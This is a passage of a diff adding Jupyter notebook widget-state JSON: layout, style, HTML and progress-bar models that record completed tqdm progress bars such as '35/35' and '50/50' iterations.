+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_e9454ab1e9034e908b84be5c6bf6f069",
+              "IPY_MODEL_970fd0cc56d748ccb2ee2287b33ec5fa",
+              "IPY_MODEL_52ee43cf76e948e4944d0539462e41f4"
+            ],
+            "layout": "IPY_MODEL_9d8254d8917c4874b980ae8e4c72b324"
+          }
+        },
+        "5e4d7e7e89cf4b8e9cab8d34d88d662e": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "6041b74d03bd48f0adea3662f0b9bc27": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_a3a361916b864a3cadb650a563842b16",
+            "placeholder": "​",
+            "style": "IPY_MODEL_279e8805d1a8468496bf091b2854683e",
+            "value": " 35/35 [00:04&lt;00:00,  7.66it/s]"
+          }
+        },
+        "606165cb16e74f20a46035ca4ba95e5c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_8dccd6692afc41caa28072f35667bfac",
+            "placeholder": "​",
+            "style": "IPY_MODEL_9e67bf17f1d64768954b47e3e1001b41",
+            "value": "100%"
+          }
+        },
+        "6186ca097ee64f289f1becdd180cf1aa": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "61e7f8494b86497fbe3d96f37206d930": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "62dbb831c6af4a369214dbe8c8a41c77": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "650ea058ba304da9b8febd6a72e10260": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "665e483725974558b1712ef1fa235a7d": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "66ec2664ae9049548c50a0729a79b3bc": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "6c4f2c3e26614dce84bc1bf63b1e263f": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "6f02e4b70ac145a1a9b0d9a97f8a0d6b": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "708184f7d3b240a38f17656f8bbfd8ae": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_d75aad33f36b432c8175e076ce4cc99e",
+            "placeholder": "​",
+            "style": "IPY_MODEL_a3073940c26743b79c7477cbc92cb8e0",
+            "value": " 50/50 [00:16&lt;00:00,  3.04it/s]"
+          }
+        },
+        "70b8ac7c48d14a08b0d0eb840d37d410": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "7174c6d2b8844dde9ab72574b22b9767": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_3f267dc1656b4c2e9a0496da73081b15",
+              "IPY_MODEL_fd926a30faed41618593cdb01204d0cc",
+              "IPY_MODEL_708184f7d3b240a38f17656f8bbfd8ae"
+            ],
+            "layout": "IPY_MODEL_a9651ab87eae4180a9729b7e28f11376"
+          }
+        },
+        "71d6d4c2b61d4739ae78f77f4bababc3": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_fe00c60d6a684ade8f1faf85cd0a825e",
+            "max": 35,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_89174c17b503496ca0652319664f6084",
+            "value": 35
+          }
+        },
+        "71f962cddf284a1fbc5f882dc61d673a": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_2ad534b30374491ca6b99f035efa1004",
+              "IPY_MODEL_db69c9d0fd214da8b42b854d71b87f54",
+              "IPY_MODEL_6041b74d03bd48f0adea3662f0b9bc27"
+            ],
+            "layout": "IPY_MODEL_8ec8c55bace044fd885ed6ada6c3cd23"
+          }
+        },
+        "75193c4a20844ca2988c9f9a3ffc66c5": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "77bdcf219f2e4aa8ba1725329011f2bc": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_41c7ad82fa3f4a24a13a09f384e8fd51",
+            "max": 35,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_3cd041ccf57c46ff91b714b7c572f581",
+            "value": 35
+          }
+        },
+        "7a282eb45d6f4d5da0c6f5241b023b32": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "7d12e7d3738f4094a2c1d7a56a03c928": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "7d60b538a6e248369d2df053e9548a14": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "7dd5be64da7a41f8875765186bdd0b10": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "7f58a5010d77407ca459b1d7209e9280": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "80e10875f83e4889ad1840255ef9c49d": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_8d89224fff864932a91dc1d1545e1ea6",
+            "placeholder": "​",
+            "style": "IPY_MODEL_07d4c54ed84242068b64353eec6593fa",
+            "value": " 35/35 [00:12&lt;00:00,  3.00it/s]"
+          }
+        },
+        "81b7286bea0841e6b54dba275f5c71b5": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "889529d86c064f73844e8074765f2cf0": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_2540be75baeb49769f279ad95778a857",
+            "max": 35,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_b2a6584f8d6f4c2ab221f8f90a1a560a",
+            "value": 35
+          }
+        },
+        "890360c4bd374d74943cb359ba838ab7": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "89174c17b503496ca0652319664f6084": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "8d89224fff864932a91dc1d1545e1ea6": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "8dccd6692afc41caa28072f35667bfac": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "8ec8c55bace044fd885ed6ada6c3cd23": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "91cb9127553d41719924473661d25b51": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "92ef2a1653944c10b5515f618811f749": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
